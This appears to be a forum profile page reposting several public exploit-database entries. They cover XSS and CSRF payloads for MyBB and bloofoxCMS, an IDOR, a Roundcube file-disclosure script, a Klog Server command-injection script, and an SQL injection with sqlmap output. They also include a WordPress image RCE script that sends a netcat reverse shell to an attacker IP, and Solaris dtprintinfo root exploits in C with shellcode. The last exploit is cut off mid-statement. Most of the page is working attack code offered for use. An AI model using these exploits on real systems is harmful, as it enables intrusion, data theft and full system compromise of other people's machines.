
Everything posted by HireHackking
-
MyBB Trending Widget Plugin 1.2 - Cross-Site Scripting
# Exploit Title: MyBB Trending Widget Plugin 1.2 - Cross-Site Scripting # Date: 11/28/2018 # Author: 0xB9 # Software Link: https://github.com/zainali99/trends-widget # Version: 1.2 # Tested on: Windows 10 1. Description: This plugin shows the most trending threads. Trending thread titles aren't sanitized to user input. 2. Proof of Concept: - Have a trending thread in the widget - Change the thread title to a payload <script>alert('XSS')</script> Anyone that visits the forum will execute payload
-
MyBB Thread Redirect Plugin 0.2.1 - Cross-Site Scripting
# Exploit Title: MyBB Thread Redirect Plugin 0.2.1 - Cross-Site Scripting # Date: 7/23/2018 # Author: 0xB9 # Software Link: https://github.com/jamiesage123/Thread-Redirect # Version: 0.2.1 # Tested on: Windows 10 1. Description: This plugin allows threads to redirect to a URL with optional custom text. The custom text input is vulnerable to Cross-Site Scripting. 2. Proof of Concept: - Create a new thread - Input any Thread Subject and Redirect URL you'd like - Use the following payload for Your Message <svg/onload=alert('XSS')> Anyone who views the thread will execute payload.
-
bloofoxCMS 0.5.2.1 - CSRF (Add user)
# Title: bloofoxCMS 0.5.2.1 - CSRF (Add user) # Exploit Author: LiPeiYi # Date: 2020-12-18 # Vendor Homepage: https://www.bloofox.com/ # Software Link: https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1 # Version: 0.5.1.0 -.5.2.1 # Tested on: windows 10 #Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site ###PoC <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += "<input type='hidden' name='username' value='testuser01' />"; fields += " <input type='hidden' name='password' value='testpw123' />"; fields += " <input type='hidden' name='pwdconfirm' value='testpw123' />"; fields += "<input type='hidden' name='3' value='Admin' />"; fields += " <input type='hidden' name='blocked' value='0' />"; fields += "<input type='hidden' name='deleted' value='0' />"; fields += "<input type='hidden' name='status' value='1' />"; fields += "<input type='hidden' name='login_page' value='0' />"; fields += "<input type='hidden' name='send' value='Add+User' />"; var url = "http://test.com/admin/index.php?mode=user&action=new&submit=send"; post(url,fields); } window.onload = function() { csrf_hack();} </script> </body> </html> exp detail:https://github.com/alexlang24/bloofoxCMS/issues/4
-
H8 SSRMS - 'id' IDOR
# Exploit Title: H8 SSRMS - 'id' IDOR # Date: 01/31/2021 # Exploit Author: Mohammed Farhan # Vendor Homepage: https://www.height8tech.com/ # Version: H8 SSRMS # Tested on: Windows 10 Vulnerability Details ====================== Login to the application Navigate to Payment Section and Click on Print button. In QuotePrint.aspx, modify the id Parameter to View User details, Address, Payments, Phonenumber and Email of other Users
-
Roundcube Webmail 1.2 - File Disclosure
# Exploit Title: Roundcube Webmail 1.2 - File Disclosure # Date: 09-11-2017 # Exploit Author: stonepresto # Vendor Homepage: https://roundcube.net/ # Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/ # Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2 # Tested on: roundcube version 1.2-beta # CVE : CVE-2017-16651 #!/usr/bin/env python3 # Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1 # https://github.com/stonepresto/CVE-2017-16651 # Exploit Author: stonepresto import requests import re import sys URL="https://127.0.0.1/" USER="user@example.com" PASS="password" def main(): s = requests.Session() r = s.get(URL,params={"_task":"login"},verify=False) token = None for line in r.text.split("\n"): if 'name="_token"' in line: token = line.split("value=")[1].split('"')[1] print("[+] token: %s" % token) if token is None: print("[!] unable to retrieve token") sys.exit(1) data = { "_token":token, "_task":"login", "_action":"login", "_timezone[files][1][path]":sys.argv[1], "_url":"_task%3Dlogin", "_user":USER, "_pass":PASS } r = s.post(URL,params={"_task":"login"},data=data,verify=False) params = { "_task":"settings", "_action":"upload-display", "_from":"timezone", "_file":"rcmfile1" } r = s.get(URL,params=params,verify=False) print(r.text) if __name__ == "__main__": if len(sys.argv) != 2: print("[!] Usage: %s <file-to-read>" % sys.argv[0]) else: main()
-
Vehicle Parking Tracker System 1.0 - 'Owner Name' Stored Cross-Site Scripting
# Exploit Title: Vehicle Parking Tracker System 1.0 - 'Owner Name' Stored Cross-Site Scripting # Date: 2021-01-30 # Exploit Author: Anmol K Sachan # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/ # Software: : Vehicle Parking Tracker System # Version : 1.0 # Vulnerability Type: Cross-site Scripting # Tested on Windows 10 XAMPP # This application is vulnerable to Stored XSS vulnerability. # Vulnerable script: 1) http://localhost/vpms/add-vehicle.php # Vulnerable parameters: 'Owner Name' # Payload used: ()"><script>alert(‘document.cookie’)</script> # POC: manage-incomingvehicle.php # You will see your Javascript code executed.
-
Klog Server 2.4.1 - Command Injection (Authenticated)
# Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated) # Date: 26.01.2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.klogserver.com/ # Version: 2.4.1 # Description: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection # CVE: 2021-3317 """ Description: "source" parameter is executed via shell_exec() function without input validation in async.php file. Example: python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id [*] Status Code for login request: 302 [+] Authentication was successful! [*] Exploiting... uid=48(apache) gid=48(apache) groups=48(apache) """ import argparse import requests import sys import urllib3 from argparse import ArgumentParser, Namespace def main(): dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)" parser: ArgumentParser = argparse.ArgumentParser(description=dsc) parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True) parser.add_argument("--username", help="Username", type=str, required=True) parser.add_argument("--password", help="Password", type=str, required=True) parser.add_argument("--command", help="Command", type=str, required=True) args: Namespace = parser.parse_args() if args.target: target = args.target if args.username: username = args.username if args.password: password = args.password if args.command: command = args.command exploit(target, username, password, command) def exploit(target, username, password, command): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) s = requests.Session() headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1", } data = {"user" : username, "pswd" : password} login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False) print("[*] Status Code for login request: " + str(login.status_code)) if login.status_code == 302: check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False) if check.status_code == 200: print("[+] Authentication was successful!") else: print("[-] Authentication was unsuccessful!") sys.exit(1) else: print("Something went wrong!") sys.exit(1) print("[*] Exploiting...\n") executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False) print(executeCommand.text) sys.exit(0) if __name__ == '__main__': main()
-
Student Record System 4.0 - 'cid' SQL Injection
# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection # Date: 2/2/2021 # Exploit Author: Jannick Tiger # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip # Version: V 4.0 # Tested on: Windows、XAMPP # Identify the vulnerability 1. go to http://localhost/schoolmanagement/pages/login.php and login with your account 2. then go to http://localhost/schoolmanagement/pages/view-course.php 3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI If the web server makes you wait 5 seconds then it's vulnerable # Exploit Now you can exploit it using sqlmap command: sqlmap -u url --batch --dbms=mysql --current-db --current-user example: sqlmap.py -u http://localhost/schoolmanagement/edit-course.php?cid=7 --batch --dbms=mysql --current-db --current-user ___ __H__ ___ ___["]_____ ___ ___ {1.4.10.16#dev} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:21:36 /2021-02-02/ [13:21:36] [INFO] testing connection to the target URL got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'. Do you want to follow? [Y/n] Y you have not declared cookie(s), while server wants to set its own ('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y [13:21:37] [INFO] checking if the target is protected by some kind of WAF/IPS [13:21:37] [INFO] testing if the target URL content is stable [13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic [13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid' might not be injectable [13:21:37] [INFO] testing for SQL injection on GET parameter 'cid' [13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [13:21:38] [INFO] testing 'Generic inline queries' [13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [13:21:39] [WARNING] time-based comparison requires larger statistical model, please wait............... (done) [13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [13:21:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is a false positive GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests: --- Parameter: cid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI --- [13:22:13] [INFO] the back-end DBMS is MySQL [13:22:13] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [13:22:18] [INFO] fetching current user [13:22:18] [INFO] retrieved: [13:22:28] [INFO] adjusting time delay to 1 second due to good response times root@localhost current user: 'root@localhost' [13:23:24] [INFO] fetching current database [13:23:24] [INFO] retrieved: schoolmanagement current database: 'schoolmanagement' [13:24:22] [INFO] fetched data logged to text files under
-
WordPress 5.0.0 - Image Remote Code Execution
# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution # Date: 2020-02-01 # Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r) # Discovery Author : RIPSTECH Technology # Version: WordPress 5.0.0 and <= 4.9.8 . # References : CVE-2019-89242 | CVE-2019-89242 | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/ #/usr/bin/env python3 import requests import re import sys from datetime import datetime banner = """ __ __ _ ____ ____ _____ \ \ / /__ _ __ __| |_ __ _ __ ___ ___ ___ | _ \ / ___| ____| \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | | | _| \ V V / (_) | | | (_| | |_) | | | __/\__ \__ \ | _ <| |___| |___ \_/\_/ \___/|_| \__,_| .__/|_| \___||___/___/ |_| \_\\____|_____| |_| 5.0.0 and <= 4.9.8 """ print(banner) print("usage :") print("=======") usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>' print(usage) url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] wp_theme = sys.argv[4] # wpscan results lhost = '10.10.10.10' #attacker ip lport = '4141' #listening port date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/' imagename = 'gd.jpg' # ====== # Note : # ====== # It could be any jpg image, BUT there are some modifications first : # 1- image name as : "gd.jpg" # 2- place the image in the same directory as this exploit. # 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>" data = { 'log':username, 'pwd':password, 'wp-submit':'Log In', 'redirect_to':url+'wp-admin/', 'testcookie':1 } r = requests.post(url+'wp-login.php',data=data) if r.status_code == 200: print("[+] Login successful.\n") else: print("[-] Failed to login.") exit(0) cookies = r.cookies print("[+] Getting Wp Nonce ... ") res = requests.get(url+'wp-admin/media-new.php',cookies=cookies) wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text) if len(wp_nonce_list) == 0 : print("[-] Failed to retrieve the _wpnonce \n") exit(0) else : wp_nonce = wp_nonce_list[0] print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n") print("[+] Uploading the image ... ") data = { 'name': 'gd.jpg', 'action': 'upload-attachment', '_wpnonce': wp_nonce } image = {'async-upload': (imagename, open(imagename, 'rb'))} r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies) if r_upload.status_code == 200: image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0] _wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0] print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n") else : print("[-] Failed to receive a response for uploaded image ! try again . \n") exit(0) print("[+] Changing the path ... ") data = { '_wpnonce':_wp_nonce, 'action':'editpost', 'post_ID':image_id, 'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali' } res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies) if res.status_code == 200: print("[+] Path has been changed successfully. \n") else : print("[-] Failed to change the path ! Make sure the theme is correcte .\n") exit(0) print("[+] Getting Ajax nonce ... ") data = { 'action':'query-attachments', 'post_id':0, 'query[item]':43, 'query[orderby]':'date', 'query[order]':'DESC', 'query[posts_per_page]':40, 'query[paged]':1 } res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies) ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text) if res.status_code == 200 and len(ajax_nonce_list) != 0 : ajax_nonce = ajax_nonce_list[0] print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n') else : print("[-] Failed to retrieve ajax_nonce.\n") exit(0) print("[+] Cropping the uploaded image ... ") data = { 'action':'crop-image', '_ajax_nonce':ajax_nonce, 'id':image_id, 'cropDetails[x1]':0, 'cropDetails[y1]':0, 'cropDetails[width]':200, 'cropDetails[height]':100, 'cropDetails[dst_width]':200, 'cropDetails[dst_height]':100 } res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies) if res.status_code == 200: print("[+] Done . \n") else : print("[-] Erorr ! Try again \n") exit(0) print("[+] Creating a new post to include the image... ") res = requests.post(url+'wp-admin/post-new.php', cookies=cookies) if res.status_code == 200: _wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0] post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0] print("[+] Post created successfully . \n") else : print("[-] Erorr ! Try again \n") exit(0) data={ '_wpnonce':_wpnonce, 'action':'editpost', 'post_ID':post_id, 'post_title':'RCE poc by v0lck3r', 'post_name':'RCE poc by v0lck3r', 'meta_input[_wp_page_template]':'cropped-rahali.jpg' } res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies) if res.status_code == 200: print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n') print("[+] Executing payload !") requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies) else : print("[-] Erorr ! Try again (maybe change the payload) \n") exit(0)
-
Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 Intel /* * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman * https://youtu.be/KEkrWRHCDQU * * Same code snippet, different vulnerability. 20 years later, format string * bugs are not extinct after all! The vulnerable function looks like this: * * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...) * { * ... * char local_724 [300]; * ... * else { * __format = getenv("REQ_DIR"); * sprintf(local_724,__format,param_2); // [1] * } * ... * local_c = strlen(local_724); // [2] * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3] * ... * } * * The plan (inspired by an old technique devised by gera) is to exploit the * sprintf at [1], where we control the format string, to replace the strlen * at [2] with a strdup and the sprintf at [3] with a call to the shellcode * dynamically allocated in the heap by strdup and pointed to by the local_c * variable at [2]. In practice, to pull this off the structure of the evil * environment variable REQ_DIR must be: * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)] * * To collect the needed addresses for your system, use: * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got * 080994cc R_386_JUMP_SLOT strlen * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got * 080994e4 R_386_JUMP_SLOT sprintf * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt * 0805df20 F *UND* 00000000 strdup * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text * 08067f52: ff 55 f8 call *-0x8(%ebp) * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_sparc.c (just a proof of concept) * raptor_dtprintcheckdir_sparc2.c (the real deal) * * Usage: * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0 * [on your xserver: double click on the fake "fnord" printer] * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 300 // size of evil env var #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 14 // number of stackpops /* replace with valid addresses for your system */ #define STRLEN 0x080994cc // .got strlen address #define SPRINTF 0x080994e4 // .got sprintf address #define STRDUP 0x0805df20 // .plt strdup address #define RET 0x08067f52 // call *-0x8(%ebp) address /* split an address in 4 bytes */ #define SPLITB(b1, b2, b3, b4, addr) { \ b1 = (addr & 0x000000ff); \ b2 = (addr & 0x0000ff00) >> 8; \ b3 = (addr & 0x00ff0000) >> 16; \ b4 = (addr & 0xff000000) >> 24; \ } char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf; char platform[256], release[256], display[256]; int i, stackpops = STACKPOPS; unsigned base, n1, n2, n3, n4, n5, n6, n7, n8; unsigned char strdup1, strdup2, strdup3, strdup4; unsigned char ret1, ret2, ret3, ret4; int strlen_got = STRLEN; int sprintf_got = SPRINTF; int strdup_plt = STRDUP; int ret = RET; /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* evil env var: name + shellcode + padding */ bzero(buf, BUFSIZE); sprintf(buf, "REQ_DIR=%s#", sc); p += strlen(buf); /* format string: .got strlen address */ *((void **)p) = (void *)(strlen_got); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 1); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 2); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(strlen_got + 3); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ /* format string: .got sprintf address */ *((void **)p) = (void *)(sprintf_got); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 1); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 2); p += 4; memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(sprintf_got + 3); p += 4; /* format string: stackpop sequence */ base = strlen(buf) - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) strcat(p, STACKPOPSEQ); /* calculate numeric arguments for .plt strdup address */ SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt); n1 = (strdup1 - base) % 0x100; n2 = (strdup2 - base - n1) % 0x100; n3 = (strdup3 - base - n1 - n2) % 0x100; n4 = (strdup4 - base - n1 - n2 - n3) % 0x100; /* calculate numeric arguments for call *-0x8(%ebp) address */ SPLITB(ret1, ret2, ret3, ret4, ret); n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100; n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100; n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100; n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100; /* check for potentially dangerous numeric arguments below 10 */ n1 += (n1 < 10) ? (0x100) : (0); n2 += (n2 < 10) ? (0x100) : (0); n3 += (n3 < 10) ? (0x100) : (0); n4 += (n4 < 10) ? (0x100) : (0); n5 += (n5 < 10) ? (0x100) : (0); n6 += (n6 < 10) ? (0x100) : (0); n7 += (n7 < 10) ? (0x100) : (0); n8 += (n8 < 10) ? (0x100) : (0); /* format string: write string */ sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8); /* fill the envp, keeping padding */ add_env(buf); add_env(display); add_env("TMP_DIR=/tmp"); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* we need at least one directory inside TMP_DIR to trigger the bug */ mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release); fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got); fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got); fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt); fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; }
-
Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 Intel /* * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "What we do in life echoes in eternity" -- Maximus Decimus Meridius * https://patchfriday.com/22/ * * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. This one was discovered by Marti Guasch Jimenez, who attended my * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19). * * It's a stack-based buffer overflow in the check_dir() function: * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){ * char local_724 [300]; * ... * __format = getenv("REQ_DIR"); * sprintf(local_724,__format,param_2); * * "To trigger this vulnerability we need a printer present, we can also fake * it with the lpstat trick. We also need at least one directory in the path * pointed by the environment variable TMP_DIR. Finally, we just need to set * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to * overwrite EIP." -- Marti Guasch Jimenez * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * Usage: * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0 * [on your xserver: double click on the fake "fnord" printer] * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #include <sys/types.h> #define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 2048 // size of the evil env var char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int get_sc_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE]; char platform[256], release[256], display[256]; int i, sc_addr; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* helper program that prints argv[0] address, used by get_sc_addr() */ if (!strcmp(argv[0], "foo")) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the evil env var */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "REQ_DIR=", 8); /* fill the envp, keeping padding */ add_env(sc); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp"); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the shellcode address */ sc_addr = 